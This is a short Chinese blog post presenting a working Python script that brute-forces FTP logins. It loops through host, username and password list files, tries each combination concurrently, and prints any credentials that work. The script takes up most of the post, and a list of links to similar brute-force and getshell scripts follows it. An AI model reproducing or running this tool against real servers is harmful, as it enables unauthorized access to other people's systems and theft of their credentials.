ftp爆破(python脚本)
2016-06-23 09:05
375 查看
最近在乌云看到一份端口详解:为了锻炼自己,按照端口详解写脚本
#!/usr/local/bin/ python #-*- coding: UTF-8 -*- __author__ = '' from ftplib import FTP import ftplib from gevent.pool import Pool threads_count = 20 def read_file(filepath): f = open(filepath).readlines() return f def ftp_crack(args): host = args[0] user = args[1] pwd = args[2] port=21 try: ftp = ftplib.FTP() ftp.connect(host, int(port), 2) ftp.login(user, pwd) ftp.retrlines('LIST') ftp.quit() print '\n[+] 破解成功,用户名:' + user + ' 密码:' + pwd+' ip: '+host return True,'ftp password is '+user+':'+pwd except ftplib.all_errors: pass pool = Pool(threads_count) host = read_file('host.txt') for h in host: h = h.replace('\n','') pd = True while pd: user = read_file('user.txt') print '\n[+] 正在破解ip: '+h for u in user: u = u.replace('\n','') if u == 'uuu': pd = False break passs = read_file('pass.txt') for pas in passs: pas = pas.replace('\n','') pd2 = pool.map(ftp_crack,[[h,u,pas]]) try: if pd2[0][0]: pd = False except: pass pool.join()
本地要有三个文件 user.txt , host.txt , pass.txt
user文件默认最后一个单词是uuu,因为在脚本中做了判断。
这个脚本还需要在改进,不明白多进程的用法,强行搬别人的代码过来,不知道有没有用法不对,只怕贻笑大方。
相关文章推荐
- Python FTP爆破脚本
- python 脚本实现ftp--expect
- Python版Mysql爆破小脚本
- 用Python写一个ftp下载脚本
- Python 脚本分析(ftp上传文件、获取本地时间)
- Python版Mssql爆破小脚本
- python制作企业邮箱的爆破脚本
- CTF writeup:python脚本爆破zip密码
- python制作企业邮箱的爆破脚本
- python ftp的一个脚本
- python脚本之ftp上传日志
- python ftp操作脚本&常用函数
- 编写Python脚本来实现最简单的FTP下载的教程
- 关于一个简单的python上传到linux服务器再经过shell脚本ftp传输的问题
- python ftp操作脚本&常用函数
- WEB中间件--tomcat爆破,burp和python脚本,getshell,war包
- Python版Mysql爆破小脚本
- 利用python脚本生成字典爆破
- python ftp操作脚本&常用函数
- python脚本网址爆破